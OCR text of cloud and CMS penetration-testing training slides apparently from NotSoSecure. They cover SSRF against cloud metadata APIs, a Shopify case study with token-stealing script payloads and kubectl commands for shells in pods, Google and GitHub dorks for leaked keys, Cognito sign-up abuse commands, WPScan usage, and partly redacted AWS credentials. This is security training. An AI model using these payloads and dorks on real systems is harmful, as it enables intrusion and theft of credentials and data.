“ Q (M SSRF to RCE via ElasticBeanStalk
Serverless Security

Module: [ﬂ Google Dorking in the Cloud Era

Cloud Pentesti ng Exploiting AWS Cognito Misconfigurations

And relevant case studies



Cloud infrastructure

Compute machines
Network devices
Storage devices
Load balancers
Applications
Platform software
Security software

Internet

Cloud Components NotSoSecure part of

claranet
cyber
End User security
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Key premise of Cloud Computing

Shared pool of configurable system resources
* Decentralized

* Rapid provisioning

* Remote access

*  Minimum management

* Reduced IT hardware upfront cost

NotSoSecure part of

* Flexible and scalable O clabranet
cyber
security
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Types of Cloud

* Public

Accessible to General Public

* Private

Accessible only to Specific set of People or Organization

* Community

Accessible to Organizations / Individuals with Similar Interest

° Hybrld NotSoSecure part of

o claranet
Combination of above models /cyber_
security
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Why Cloud Security

* Major push by organizations to be on cloud or cloud native

* Cloud services === shared infra model (remember shared hosting)

* Multitude of offerings === different threat models

* Misconfigurations can increase the threat

* Attack can result in loss of data / productivity as well as a huge monetary

loss by means of unauthorized software / server running under the
account.

NotSoSecure part of

Example : claranet
Code Spaces had to close shops coz of AWS creds theft 22‘33$ity
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https://www.csoonline.com/article/2365062/disaster-recovery/code-spaces-forced-to-close-its-doors-after-security-incident.html

Cloud Service Models and Offerings

L3300 @
A @ (WY <> & orenrans

@ App Engine O1Ce.Cotl
o B, SO

h|HEROKU

Amazon S3

NotSoSecure part of

| P | claranet
aWS_ A IXl;Er;soft @ cz,:.:..:’ﬁe = @gggﬁ:lty

openstack.
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Cloud Service Responsibility Matrix

Functional Logic Tenant
Applications Tenant

Runtime Tenant Tenant

MiddleWare Tenant

oS Tenant

Virtualization Tenant

Load Balancing Tenant

NotSoSecure part of

claranet
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Networking Tenant

Servers Tenant

Physical Security Tenant © NotSoSecure 2021 Global
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Metadata API

APl URL: http://169.254.169.254/

* AWS

https://docs.aws.amazon.com/AWSEC?2/latest/UserGuide/ec2-instance-
metadata.html

* Google

https://cloud.google.com/compute/docs/storing-retrieving-metadata

* Azure

NotSoSecure part of

https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance- O claranet

cyber

metadata-service ;
security
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Metadata API

* Especially useful if the environment is using IAM profiles

* |AM profiles allow you to club together various services and capabillities
within a single profile

* If you have access to IAM profile credentials you can get [evil]

* If machine has IAM profile attached, we can get the temporary creds

NotSoSecure part of

claranet
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ldentity and Access Management ( IAM )

* |AM entities are used to delegate access to users, roles, applications and
services

e Set granular permission to access resources and securely access
resources

* |AM entities define who (identity) has what access (role) for which
resources

* Permission to access a resource isn't granted directly to the end user

* Secrets and Access management has always been a big challenge

NotSoSecure part of
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Interacting with Metadata API

e SSRF or URL Fetch
If you only have control over URL parameter, then AWS will work

For GCP
e Metadata-flavour: google header was enforced in v1

For Azure
e Header is a must hence SSRF attack might not work
 Requires the header "Metadata: true"

e Code Execution
Make curl calls directly to the metadata API

NotSoSecure part of
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Understanding Cloud CLI

e [nteracting with Metadata API
e Running CLI Commands

e Enumerating Permissions

NotSoSecure part of

claranet
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What next?

Configure CLI and Enumerate Roles and Permissions

:~$ export AWS ACCESS KEY ID=ASIA2EG3F s

:~§ export AWS SECRET ACCESS KEY=0HhanGsvIti p—

:~$ export AWS DEFAULT REGION=us-east-2

:~$§ export AWS SESSION TOKEN=FQc [///777777 79—
DxObwleXZz8m2m08P7vP6268emdvhHSNOSBSyZa8zoy’7flAuZmJT2guL+0aneSlaMcH4YeIlev6-
7rPWkk8fSDSFZQvPRqELm;)wEHdSrJBSanlRQFO/ 1 A — T —— _— -
RNCcG" i DT NG hEXRVS jpHUVU2 9Ly E

Saws sts get-caller-identity
{

"Account": "g9 N
"UserId": "AROAJLURFXGAKIQPNULFM i-04b6abld72 P
"Arn": "arn:aws:sts::6967° - assumed-role/aws-elastickeanstalk-ecZ2-role/i-04bé6ab__ _ _____ Z"

}

s




Retrieving Information using aws_enum script

~/tools$s --access-key ASIA2EG3F """ UFF --secret-key 9STIiddjS/D/PiGAsSCMtbG7Y]1IMaUmi+s0L9Fsm --session-token AgoJb3JpZ2luX2VjEGYaCXVzLWVhc3QtMiJHMEUCIE!L
UY8jFpvelIKz6NJ+tLIpnuk4GC1AIEATKZ fumF0dz8D6tNCIGEEk1VZ/DyroaWl IKIYCpShruMaiwI IbXxAAGGW20TYYNDQzN]g4NzkiDGtnF2RnaQcwlA7IPyroAeCqa7dbe/U3eXDjnX2i2QgyhtadPyhJd3kDtD2BOND2yaY4p2rCi72Utxzn/ XxyKKT
PBSJZDRUGSUHW1SBuvV8p9KwgPCcuVivnuP2zpt//HiRLWpLAZPccaC/wQ3EW1TPOpTUQ+pYK71S9QYjcws/gpSmMCik/VckTREKVaweYsES8Yvusib37R7Mp0ShS6vvrrCebY/tc8G8zulmste - 30g3+szadlAgb
XSMMAK2d7cEoS/CCSo7vQrAadryG364XFeNAyaCn9FK+82zYf8YFOVCnWwnvgISWUGtAFNDrrbYe79sRFbjHVeZYTOG1+uIRiWiU73uBuurSM4vXvYtXX0S2GS5jEePZnegK6xQ6ImCcIZgOLXxmSrNcgkB2£f06dgaéETPSO1CjuQZG8yI67/N1CeQaCCl4s
G0BCL2XCPUUJINJIr JERLMKxxgtkJ7DraxXeXwjIfOLPzDWsbknt8b3RRG1IcabgxP1QUSkNieyulHK2dBw6R08XazUKZpRe7Cifc/TFrUFFkvNDd1S5eISmo= --region us-east-1
Enumerating for region: us-east-1
Running checks for AWS s3
Output of AWS s3 -->list-buckets
{utowner": {u'DisplayName': 'dhruv', u'ID': 'S521e3d3ea9%e96c5%a49371b7874c415£6b504a09d009b3e845633265bcef71d2'}, u'Buckets': [{u'CreationDate': datetime.datetime (2019, 1, 31, 9, 1, 2, tzinf
o=tzutc()), u'Name': 'codepipeline-us-east-1-792206561322'}, {u'CreationDate': datetime.datetime(2019, 1, 30, 9, 8, 49, tzinfo=tzutc()), u'Name': 'elasticbeanstalk-us-east-1-696244368879'},
{u'CreationDate': datetime.datetime (2019, 1, 21, 18, 39, 17, tzinfo=tzutc()), u'Name': 'elasticbeanstalk-us-east-2-696244368879'}, {u'CreationDate': datetime.datetime (2019, 2, 8, 10, 58, 9
, tzinfo=tzutc()), u'Name': 'elasticbeanstalk-us-west-2-696244368879'}, {u'CreationDate': datetime.datetime (2019, 2, 8, 10, 17, 25, tzinfo=tzutc()), u'Name': 'nss-lambda-demo'}], 'ResponseM
etadata': {'HTTPStatusCode': 200, 'RetryAttempts': 0, 'HostId': 'KnQPGHiO6GgfwdggaO4dJPlCSAMTMAHtIWLHBS6JFVIgVFuXul9rzoHcUy7h9b4u827HwhZNuuM=", 'RequestlId': 'F1954469A89830B5', 'HTTPHeaders
': {'x-amz-id-2': 'KnQPGHi06GafwdggaO4dJP1CSAMTMAHtfWEHBS6JFVrgVFuXul9rzoHcUy7h9b4u827HwhZNuuM=", 'server': 'AmazonS3', 'transfer-encoding': 'chunked', 'x-amz-request-id': 'F1954469A89830BS
', 'date': 'Mon, 20 May 2019 12:07:49 GMT', 'content-type': ‘'application/xml'}}}
Running checks for AWS ec2
putput of AWS ec2 -->describe-instances
{u"Reservations': [{u'Instances': [{u'Monitoring': {u'State': 'disabled'}, u'PublicDnsName': ‘'ec2-Z “2.compute-1.amazonaws.com', u'State': {u'Code': 16, u'Name': 'running'}, u'EbsOpti
mized': False, u'LaunchTime': datetime.datetime (2019, 1, 31, 17, 6, 28, tzinfo=tzutc()), u'PublicIpAddress': '3.89.78.12', u'PrivateIpAddress': '172.31.39.84', u'ProductCodes': [], u'VpcId'
'vpc-3d62d147', u'CpuOptions': {u'CoreCount': 1, u'ThreadsPerCore': 1}, u'StateTransitionReason': '', u'InstanceId': 'i-0e865a65749f5a04c', u'EnaSupport': True, u'Imageld': 'ami-08b77cd87
4£8df8d6', u'PrivateDnsName': 'ip-:.._ __-39-84.ec2.internal', u'SecurityGroups': [{u'GroupName': 'awseb-e-mskcésjzijm-stack-AWSEBSecurityGroup-13RWWOI306IPE', u'GroupId': 'sg-0ded4Sbceed09201
16'}], u'ClientToken': '38e5a293-8109-27ad-da2e-¢: 2 _us-east-1d_1', u'SubnetId': 'subnet-b7cfafeb', u'lInstanceType': 't2.micro', u'CapacityReservationSpecification': {u'CapacityRese
rvationPreference': 'open'}, u'NetworkInterfaces': [{u'Status': 'in-use', u'MacAddress': '0e:0e:£7:36:95:8e', u'SourceDestCheck': True, u'VpcIld': 'vpc-3dé62dl47', u'Description': '', u'Netwo
rkinterfacelId': 'eni-02743c17c816850c3', u'PrivatelpAddresses': [{u'PrivateDnsName': 'ip-172-31-39-84.ec2.internal', u'PrivatelpAddress': '172.31.39.84', u'Primary': True, u'Association': {
u'PublicIp': '3.89.78.12', u'PublicDnsName': 'ec2-3-89-78-12.compute-l.amazonaws.com', u'IpOwnerId': '696244368879'}}], u'PrivateDnsName': 'ip-172-31-39-84.ec2.internal', u'lInterfaceType':
'interface', u'Attachment': {u'Status': 'attached', u'Devicelndex': 0, u'DeleteOnTermination': True, u'AttachmentId': 'eni-attach-095d4b33285fddff5', u'AttachTime': datetime.datetime (2019,
1, 31, 17, 6, 28, tzinfo=tzutc())}, u'Groups': [{u'GroupName': 'awseb-e-mskc6ésjzjm-stack-AWSEBSecurityGroup-13RWWOI306IPE', u'Groupld': 'sg-0de4Sbcee90920116'}], u'lpveAddresses': [], u'Own
erId': '696244368879', u'PrivatelIpAddress': '172.31.39.84', u'SubnetlId': 'subnet-b7cfafeb', u'Association': {u'PublicIp': '3.89.78.12', u'PublicDnsName': 'ec2-3-89-78-12.compute-1.amazonaws

.com', u'IpOwnerId': '696244368879'}}], u'SourceDestCheck': True, u'Placement': {u'Tenancy': 'default', u'GroupName': '', u'AvailabilityZone': 'us-east-1d'}, u'Hypervisor': 'xen', u'BlockDe
viceMappings': [{u'DeviceName': '/dev/xvda', u'Ebs': {u'Status': 'attached', u'DeleteOnTermination': True, u'VolumeId': 'vol-003c78bf517bf7db6', u'AttachTime': datetime.datetime (2019, 1, 31
, 17, 6, 29, tzinfo=tzutc())}}], u'Architecture': 'x86 64', u'RootDeviceType': 'ebs', u'IamInstanceProfile': {u'Id': 'AIPAIAPDS® _ % i', u'Arn': 'arn:aws:iam::696244368879:instance-pro

file/aws-elasticbeanstalk-ec2-role'}, u'RootDeviceName': '/dev/xvda', u'VirtualizationType': 'hvm', u'Tags': [{u'Value': 'arn:aws:cloudformation:us-east-1:696244368879:stack/awseb-e-mskcésj
zjm-stack/76485340-257a-11e9-ad70-0a0b50a105£6"', u'kKey': 'aws:cloudformation:stack-id'}, {u'value': 'e-mskcésjzjm', u'Key': 'elasticbeanstalk:environment-id'}, {u'vValue': 'AWSEBRutoScalingG
roup', u'kKey': 'aws:cloudformation:logical-id'}, {u'vValue': 'InsuranceBrokingAppCodepipeline-env', u'Key': ‘'elasticbeanstalk:environment-name'}, {u'vValue': 'InsuranceBrokingAppCodepipeline-
env', u'Key': 'Name'}, {u'value': 'awseb-e-mskcésjzjm-stack', u'Key': 'aws:cloudformation:stack-name'}, {u'Value': 'awseb-e-mskcésjzim-stack-AWSEBRAutoScalingGroup-6U9ZPNGGBGS1l', u'Key': 'aw
s:autoscaling:groupName'}], u'HibernationOptions': {u'Configured': False}, u'AmilaunchIndex': 0}], u'ReservationId': 'r-0c7ad8eS5c76ce%8c2', u'RequesterId': '940372691376', u'Groups': [], u'




AWS — SSRF Exploitation

Elastic Beanstalk

« ldentify and exploit SSRF vulnerability to gain
access to S3 buckets and download the source of
the application hosted on AWS cloud.

« Upload a webshell via Continuous Deployment
(CD) pipeline.

http://cloud.webhacklab.com

Demo



Function as a Service (FaaS)

e Also known as Serverless Computing
e Server is still in picture but you don’t manage it

e You write a single function (multi language support) and
service provider invokes it when a request comes

e The application logic is executed in an containerized
environment which is later destroyed

e Data is not managed by FaaS
e The infrastructure only fires up when it needs to

e [anguages supported: Java, Node, C#, Python

All Things Client
Side

Data (Transit and
Cloud)

Identity & Access
Management

Functional Logic
Applications
Runtime
MiddleWare
0S
Virtualization
Load Balancing
Networking
Servers

Physical Security

NotSoSecure part of
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Events and Triggers

There are multiple events supported by the cloud providers.
o HTTP

e Storage

e DB Driven

e Log Driven

e Message Queue

NotSoSecure part of
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e Notification Services
O security

e efc..
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Use cases

e Auto-scaling Websites and APIs
e Event Streaming

e |mage and Video Manipulation

e Processing Events and SaaS

e Hybrid Cloud Applications

e Multi-language Applications

NotSoSecure part of
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e Continuous Integration and Continuous Deployment (CI/CD)
O security

e And Many More!

Reference:

https://serverless.com/learn/use-cases/ ,
© NotSoSecure 2021 Global

Services Ltd, all rights reserved




Real-time doc detection and data extraction

e KYC documents (pdf,tiff,jpg) are added to the bucket

e OCR is performed to detect a valid document type and if the
document is valid, then the data is extracted and added to

Apache Solr for indexing and querying

NotSoSecure part of
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Real-time doc detection and data extraction

Documents added to
the bucket

Cloud function is triggered to an event.
OCR is performed on the file to extract
the content and verify the document

Doc
Document contains
storage PII?

YES

NotSoSecure part of
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Another Cloud is called to mask the PII
on the document and store it in the © NotSoSecure 2021 Global
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PaaS —-v- FaaS

PAAS FAAS

Deploy entire application Deploy single function

Server may not be running all the
Server is up and running all the time | time, it start when event is triggered
and then shuts it down

No need to choose environment.
The infrastructure only fires up when
It needs to on demand

Need to choose the environment
(VM size and operating system etc)

NotSoSecure part of
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FaaS Attack Surface and Caveats

e [Function execution has timeouts

e Once execution is done next execution could be on a
different environment all together

e Container specific attacks could be applicable

e [ncreased attack surface due to complexity

NotSoSecure part of
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Demo

Serverless Exploitation

« Identify Remote Code Execution vulnerability
In the Lambda function

 (Obtain secret tokens

e (Gain access to a S3 bucket

e Connect an EC2 instance
Challenge URL.:
https://8nfjm12vx0.execute-api.us-east-

2.amazonaws.com/default/awh-lambda-
demo?query="test’



Post Exploitation in Cloud

|dentify the level of access to the current token
Enumeration is the key
Horizontally pivot to identify more privileged accounts

Passwords will be no go due to increased complexity until
and unless you can retrieve them in cleartext

Focus on goal instead of running towards Domain Admin

NotSoSecure part of
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Case Study

SSRF to RCE in containers (Shopify)

Gain information from Google Cloud Metadata:

At Edit Install Get info
- » ‘password.liquid’ * Exchange » from store
template app screenshot

Change the metadata URL

Reference:
https://hackerone.com/reports/341876



Case Study

SSRF to RCE in containers (Shopify)

Metadata URLS:

Edit the template “password.liquid” to add script with
following content:

® To access a Token:

window.location="http://metadata.google.internal/computeMet
adata/vlbetal/instance/service-accounts/default/token";

®* To access more information in JSON format:

window.location="http://metadata.google.internal/computeMet
adata/vlbetal/project/attributes/ssh-keys?alt=json";

* To dump “kube-env” information: (Client Certificate,
Client Key, Certificate Authority, Master Name)

window.location="http://metadata.google.internal/computeMet
adata/vlbetal/instance/attributes/kube-env?alt=json";

Reference:
https://hackerone.com/reports/341876



Case Study

SSRF to RCE in containers (Shopify)

Metadata URLs (Different cloud environment):

Following URLs can be used for accessing user
related information:

* AWS.
http://169.254.169.254/latest/user-data

* Digital Ocean:
http://169.254.169.254/metadata/v1/user-data

* Packet Cloud:
https://metadata.packet.net/userdata

® Oracle Cloud:
http://192.0.0.192/latest/user-data/

For furthermore reference, follow
https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb

Reference:
https://hackerone.com/reports/341876



SSRF to RCE in containers (Shopify)

Executing Arbitrary Commands:
Using Kubulet for following commands:

(Note: ‘kubectl is running on local system & Kubelet port on the server is accessible)

® List all pods: (no command execution in any other pod)
o kubectl --client-certificate client.crt --client-key client.pem --
certificate-authority ca.crt --server <server> get pods --all-
namespaces

® To access “kubernetes.io” service account token:
o kubectl --client-certificate client.crt --client-key client.pem --
certificate-authority ca.crt --server <server> describe pods/<pod> -n
Case Study Cnamespace>
o kubectl --client-certificate client.crt --client-key client.pem --
certificate-authority ca.crt --server <server> get
secret/<secret_name> -n <namespace> -o yaml|

® To take shell in any containers:
o kubectl --certificate-authority ca.crt --server <server> --token
"<token>" exec -it <pod_name> -- /bin/bash
o kubectl --certificate-authority ca.crt --server <server> --token
"<token>" exec -it <pod_name> -n <namespace> -- /bin/bash

Reference:
https://hackerone.com/reports/341876



Attack scenario

e The attacker creates a store and modifies the template
“password.liquid” with script

e Attacker installs Exchange app, which lists stores with snapshot of
URL provided in previous step. Snapshot reveals the information

o Attacker extracts the information in JSON format
e Extracted information is used to access docker

e Attacker gains the “kubernetes.io” service account token

NotSoSecure part of

claranet
cyber

o Attacker successfully takes root access to any containers of Shopify
O security

© NotSoSecure 2021 Global
Reference: Services Ltd, all rights reserved
https://hackerone.com/reports/341876




SSRF to EC2 Takeover

* Exploitation Process:

o Obtained Metadata details (account id, region, security-
credentials)
Using credentials to enumerate all s3 buckets
One S3 bucket contained pem files for all ec2 boxes
Enumerate instances to identify higher power roles
Obtained access to those instances via pem files
Backdooring the AWS account by creating new id with iam:*
capabilities

Case Study * Refer

https://www.threatstack.com/cloud-attack
(not directly related but similar)

O O O O O




Auditing tools

Cloud Account Audit's

e https://github.com/SecurityFTW/cs-suite (Cross provider)

e https://qithub.com/toniblyx/prowler (AWS)
e https://qithub.com/cyberark/SkyArk (AWS)
e https://qithub.com/nccgaroup/Scout? (AWS)

> e https://github.com/nccqroup/G-Scout (GCP)

NotSoSecure part of

/ e https://qgithub.com/nccqgroup/azucar (Azure) W
s cyber

e https://qithub.com/mwrlabs/Azurite (Azure) security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved



https://github.com/SecurityFTW/cs-suite
https://github.com/toniblyx/prowler
https://github.com/cyberark/SkyArk
https://github.com/nccgroup/Scout2
https://github.com/nccgroup/G-Scout
https://github.com/nccgroup/azucar
https://github.com/mwrlabs/Azurite

Google Dorking

e |nthe Cloud era

NotSoSecure part of

claranet
/ cyber
security
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What is Google Dorking?

e Also known as Google Hacking
e Technique that uses Google Search Engine and Google

Applications to find security loopholes in the configuration and code
that the applications use.

e.g..
 "#-Frontpage-" inurl: administrators.pwd

e filetype: log inurl password login

NotSoSecure part of

claranet
/ cyber
security
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How can attacker use/misuse Google Dorking?

e Google dorking can return
O usernames and passwords,
O email lists,
O sensitive documents,
O personally identifiable financial information (PIFI) and

O website vulnerabilities.

e Retrieved information can be used for any number of illegal NotSoSecure part o
activities, including cyberterrorism, industrial espionage, identity claranet
theft and cyberstalking. O gggﬁ;ity

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Google Dorking for Cloud?

Cloud uses predefined subdomains which helps an attacker to
quickly identify resources

O *.azureedge.net, *.core.windows.net, *.appspot.com, *.s3.amazonaws.com,
*.cloudfunctions.net. *.azure-api.net

In cloud platform, it could be easy to identify misconfigured cloud
services using Google dorks

Examples:

O site:*.s3.amazonaws.com + example.com

NotSoSecure part of

O site:*.s3-website-us-west-2.amazonaws.com (static website) O g?brgpet

security

© NotSoSecure 2021 Global
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Dorking via other platforms

e GitHub search results to extract sensitive information such as

O "example.com" API_key secret_key aws_key Password FTP login
github_token

O “example.com” + s3

e Shodan.io
O "hostname:example.com org:hackme ports:3306"

O "hostname:example.com org:hackme product:tomcat”

e Archive.org

O To retrieve sensitive information from older versions

NotSoSecure part of

claranet
/ cyber
security
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AWS S3 bucket

® sjte:s3-*-*-* amazonaws.com filetype:sql
O Credentials, Card Numbers, Personal Details etc.

® Few other tricks:

site:s3-*.amazonaws.com
site:s3-eu-west-1.amazonaws.com filetype:txt
site:s3-eu-west-1.amazonaws.com filetype:txt password
site:s3-eu-west-1.amazonaws.com filetype:txt pass
site:s3-eu-west-1.amazonaws.com filetype:txt database
site:s3-eu-west-1.amazonaws.com filetype:txt swagger

ONONONONONG

-2 Mazonaws.com

drop table if exists sales;

create table sales (
id INT NOT NULL AUTO_INCREMENT,
order_number VARCHAR(S5@),
customer_id INT,
showroom_id INT,
product_id INT,
quantity VARCHAR(S58),
dizcount INT,
amount INT,
delivered VARCHAR(S®),
card_type VARCHAR(S5@),
card_number VARCHAR(S®),
txn_date DATE,
update_date TIMESTAMP NOT NULL ON UPDATE CURRENT_TIMESTAMP,
create_date TIMESTAMP NOT NULL,
PRIMARY KEY{id}

)i

insert into sales (order_number, customer_id, showroom_id,
('3111e8217-2", 5@5, 15, 935, 1, 9866, null, false, 'jcb',
insert into sales (order_number, customer_id, showroom_id,
('e@6155274-2", 244, 2, 571, 1, 6598, null, false, 'solo’,
insert into sales (order_number, customer_id, showroom_id,

product_id, quantity, discount, amount, delivered, card_type, card_number, create_date, txn_date,
'3 C . '2018-01-83 @6:29:19°, '2018-81-03°, '2018-21-03 B6:29:19');

product_id, gquantity, discount, amount, delivered, card_type, card_number, create_date, txn_date,
' -, '2015-91-04 09:54:03', '2018-91-04', '2018-01-04 00:54:03°);

product_id, gquantity, discount, amount, delivered, card_type, card_number, create_date, txn_date,

('432024884-8", 501, 3, 785, 1, 18777, null, true, ‘americanexpress', '] N: . '2018-21-24 @p:22:83", '2018-01-24", '2018-01-24 08:22:03");

insert into sales (order_number, customer_id, showroom_id,

product_id, quantity, discount, amount, deliwvered, card_type, card number, create_date, txn_date,

update_date)
update_date)
update_date)

update_date)

values

values

values

values

NotSoSecure part of
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Leaked secret Keys

e Secret access keys are -
as the name implies -
secrets, like your
password

o gjte:s3-*-*-
* amazonaws.com
AWS SECRET

C (@ Notsecure amazonaws.com

DB_DEBUG=false

DB_HOST
DB_DATF«EP.SE=—
DB_USERMAME
pe_passworC

LOG_DBE_HOST=localhost
Log_DB_DATABASE
LoG_DE_useErnAME -

Loc_De_PassworD

CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync

MAIL_DRIVER=sendgrid

na1Len_ap1xey-
AlWS_KEY=A AR

Als SECRET X

ey .
AWS_BUCKET= I
Aus_PaTH=" I

PAYPAL_CLTENT,_1 -~ N,
PavPAL_secRe T -E0|

PAYPAL_MODE=sandbox

PAYPAL_CURRENCY=5GD

PAYPAL_BYPASS=true

PAYPAL_PAYOUT_CURRENCY=USD

PAYPAL_ACTION_TYPE=PAY
PAYPAL_CANCEL_URL='cheesse/respondent-payout’
PAYPAL_RETURN_URL="'cheese/respondent-payout’

PAYPAL TPN_NOTIFICATION URL= 'hr‘ :
pavpaL_senDeEr_Usernave=n R
PAYPAL_SENDER_PASSWORD=3 I
PavPAL_SENDER_sTGNATURE=A [
PavPAL_SENDER_EMAT L=
pavpal_ape_10-277- 5

NotSoSecure part of

claranet
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Leaked Storage Account Keys

https://github.com/search?g=DefaultEndpointsProtocol&type=Code

» C @ GitHub, Inc. [US] | https://github.com

DefaultEndpointsProtacol Pull requests Issues Marketplace Explore

Repositories 0 64,479 code results Sort: Best matd
Code
. MicrosoftDX/Dash — TestConfigurations.json
Commits Showing the top two matches Last indexed on Jun 30, 2018
|ssues “Description”: “"single data account”,
"NamespaceConnectionString”: "DefaultEndpointsProtocol=https;AccountName=;Accountkey="
Packages "DataConnectionStrings”: [

"DefaultEndpointsProtocol=https;Accounthame=;AccountKey=",
Marketplace

-0---0008

Topics
!h asano-fixer/Realize.BackendServices — CloudQueueClusterSettings.pr.json
Wikis Showing the top two matches Last indexed on Jul 11, 2018
"CloudStorageAccount™:
Users "DefaultEndpointsProtocol=https;Accountiame=przequeusdl8l ; Accountkey=kkI3dVBb+/Cw2al5whU87kCIT
"DeleteClusteriame”: "™
Languages 1.
Markdown 18,380 ¢
"CloudStorageAccount™:
XML 14,608 "DefaultEndpointsProtocol=https;Accountiame=przequeuedl82; AccountKey=1FZT3CUjGP1e1UgZuhPs+H5Zb
PHP 12,270
JSON 7.043
c# 3,704 . . .
haguirres/ShardingTest — Web.config
Java 1.659 Showing the top two matches Last indexed on Oct 26, 2018
JavaScript 723 <add key="EstudioStorageConnectionStringSharda”
) value="DefaultEndpointsProtocol=https;AccountName=eu2comuatstashasstedl; AccountkKey=I1I58TTuNzx
PowerShell 472
/>
Python 443
YAML 240 <add key="EstudioStorageConnectionStringShardB"

valua="DefaultEndpointsProtocol-https;AccountName-eu2comuatstashasst@dl; Accountkey=I1I58TTulzx
/>

NotSoSecure part of

claranet
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Leaked Storage Account

« Extract the source code for the functions from the
storage account of “notsosporty” from github using
the techniques learned in this module and perform
Remote code Execute by uploading a Web shell

Exercise




AWS Credentials Leaked

® Access to production database backups, SSL

certs and more

o Backups of all production databases;

o Backups of SSL certificates, including www. |||l com;
o Backups of source code, Confluence, Jira, et cetera;

o S3 buckets

* Ref:

Cas e St u d y https://nackerone.com/reports/398400



AWS Credentials Leaked

= threat ost Cloud Security Malware Vulnerabilities Priv

ivacy HackerOne Spotligh

Scammers Prey on Instagram Vanity and ‘Verified Account’ Status

Leaky Amazon S3 Buckets Expose Data of
Netflix, TD Bank

Case Study

https://threatpost.com/leaky-amazon-s3-buckets-
expose-data-of-netflix-td-bank/146084/



AWS Cognito

AWS cognito service enables direct access to resource for app user

Two main parts:
User pools are user directories that provide sign-up and sign-in options
Identity pools enable developers to grant end-users access to AWS services

Mainly used for Mobile application but can also be used for web
application

ldentity pool is a random UUID hence difficult to bruteforce

Generally hardcoded in mobile applications / Websites

NotSoSecure part of

claranet
/ cyber
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Internet wide AWS Cognito Analysis

AWS Temp Credentials can be obtained if identity
pool is known

- Leveraged crowd sourcing via commoncrawl,
decompiling android apk

- Collected a total of 2504 identity pool identifiers

- EXxplored permissions on each pool identifier

o more than 1in 5 AWS Cognito configurations are

Case Study insecure

o 906 S3 buckets which contained sensitive
iInformation

o identified 1572 lambda functions, exposing at least
78 sensitive env variables

Reference:
https://andresriancho.com/internet-scale-analysis-of-aws-cognito-security/



Case Study

Sighup Allowed

Conditions:

Cognito has federated auth but signup is not
disabled

Unauthenticated Token has minimal or no privilege

Attack:

AppClientld allows you to register another user
ConfirmSignUp allows us to confirm user login
On login you will get assignment error

However Creds are available when you login

More:

https://www.notsosecure.com/hacking-aws-cognito-
misconfigurations/



Sign up Process in Commands

e Register a New User
aws cognito-idp sign-up --client-id <client 1d> --username
user@email.com —--password P@sswOrdl --user-attributes
Name="email",Value="userldemail.com" Name="name",Value="user"

e Confirm the Sign-up
aws cognito-idp confirm-sign-up --client-id <client id> --
username=userX@webhacklab.com --confirmation-code XXXXX

NotSoSecure part of

claranet
/ cyber
security
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Sign up Process in Commands

e Get ldentity
aws cognito-identity get-id --identity-pool-id
<identity pool id> --logins cognito-idp.us-east-
1.amazonaws.com/us—east-1 EOn8m3ula=<IdToken>

e Get Credentials
aws cognito-identity get-credentials-for-identity --
identity—-1d us-east-1:85948f47-1237-479%9a-a%8-ab021747caeb -
-logins cognito-idp.us-east-1.amazonaws.com/us—-east-
1 EOn8m3ula=<Id Token>

NotSoSecure part of

claranet
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AWS Cognito: Access Tokens from ID

e QObtain Identity ID from identity pool id

aws cognito-identity get-id --identity-pool-id 'region:pool id’

= scripts aws cognito-identity get-id --identity-pool-id 'us-ea:

{

"IdentityId": "us-i - ‘il S msm——r|Sh "

}

e Obtain AWS Access Tokens from Identity ID
aws cognito-identity get-credentials-for-identity --identity-id 'Identity'

= scripts aws cognito-identity get-credentials-for-identity --identity-id "us-ec
{
"IdentityId": "us-east- iSbc",
"Credentials": {
"AccessKeyId": "AS:

"SecretKey": "Wzt6l
"SessionToken": "I(
OL\TJII R AW T AAS/TAETY LA Y s

r
Sz




Exploiting AWS Cognito
Misconfigurations

ldentify AWS cognito misconfiguration and read
the secrets from the secret manager

Challenge URL.:
http://cognito.webhacklab.com/

Exercise




Q What is Content Management System (CMS)?
™M Common Vulnerabilities in CMS
M Available Tools for CMS Pentesting
Module:

CMS Pentesting

Penetration Testing Methodology for CMS




What is Content Management System (CMS)?

* Content Management System (CMS) is a
computer program that allows publishing,
editing and modifying digital content as well @WORDPRESS

as its maintenance from a central interface
A Joomlal

* Such systems of content management -
provide procedures to manage workflow in a

collaborative environment. These procedures " TYP 03

can be manual steps or an automated

cascade @

NotSoSecure part of

claranet
/ cyber
security
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CMS - Advantages

Advantages:

Fast Development - Reduced need to code from scratch
Community Help

Most problems have been solved, or a solution is present
Less maintenance (since the community helps)

Security is being watched by the community

NotSoSecure part of

claranet
/ cyber
security
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Common Vulnerabilities in CMS

e  Security Misconfigurations

* Information Leakage

* Qutdated Software/Plugin Versions
* Administrative Interface

* Username Enumeration

* Use of Default Credentials

* Installation/Default files not removed
* Insecure Direct Object References

* Session Management Issues

NotSoSecure part of

claranet
/ cyber
security
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WPScan

WPScan is an automated vulnerability scanner tool to find

vulnerabilities in WordPress applications. The tool can be used to find
following information:

* WordPress Running Version.

* Vulnerable/Outdated Plugins (if In use).
* Username Enumeration.

* Sensitive Files and Folders.

WPScan can be operated in a terminal window and is designed in
Ruby language.

NotSoSecure part of

claranet
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WPScan Usage

 To scan the application: wpscan --url cms.webhacklab.com

* Look for plugins / username enumeration: wpscan --url
cms.webhacklab.com --enumerate <options> (Options: vp = Vulnerable
Plugins, ap = All Plugins, vt= Vulnerable Themes, u= User IDs).

 Bypassing WAF Using Random-User-Agent Option: wpscan --url
http://cms.webhacklab.com/wordpress/ --enumerate --clear-cache --
random-user-agent

root@kali:/var/www/html/wordpress# wpscan --url http://cms.webhacklab.com/wordpress/ --enumerate --clear-cache --random-user-agent

ANEAN /S NS |
NN AN S/ ) D -
NNON S NN S T TN
ANVANRY A I SN T I P B G B B A |
AVARAVS 1_1 IS /40 VY b VR, [ B |

WordPress Security Scanner by the WPScan Team
Version 3.4.2

Sponsored by Sucuri - https://sucuri.net NotSoSecure part of

@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_

""""""""""""""""""""""""""""""""""""""""" claranet

[+] URL: http://cms.webhacklab.com/wordpress/

[+] Started: Wed Jan 23 ©5:50:09 2019 Cyber_
security

Interesting Finding(s):

[+] http://cms.webhacklab.com/wordpress/
| Interesting Entry: Server: Apache/2.4.37 (Debian)
| Found By: Headers (Passive Detection)

© NotSoSecure 2021 Global
| Confidence: 100% Services Ltd, all rights reserved




JoomScan

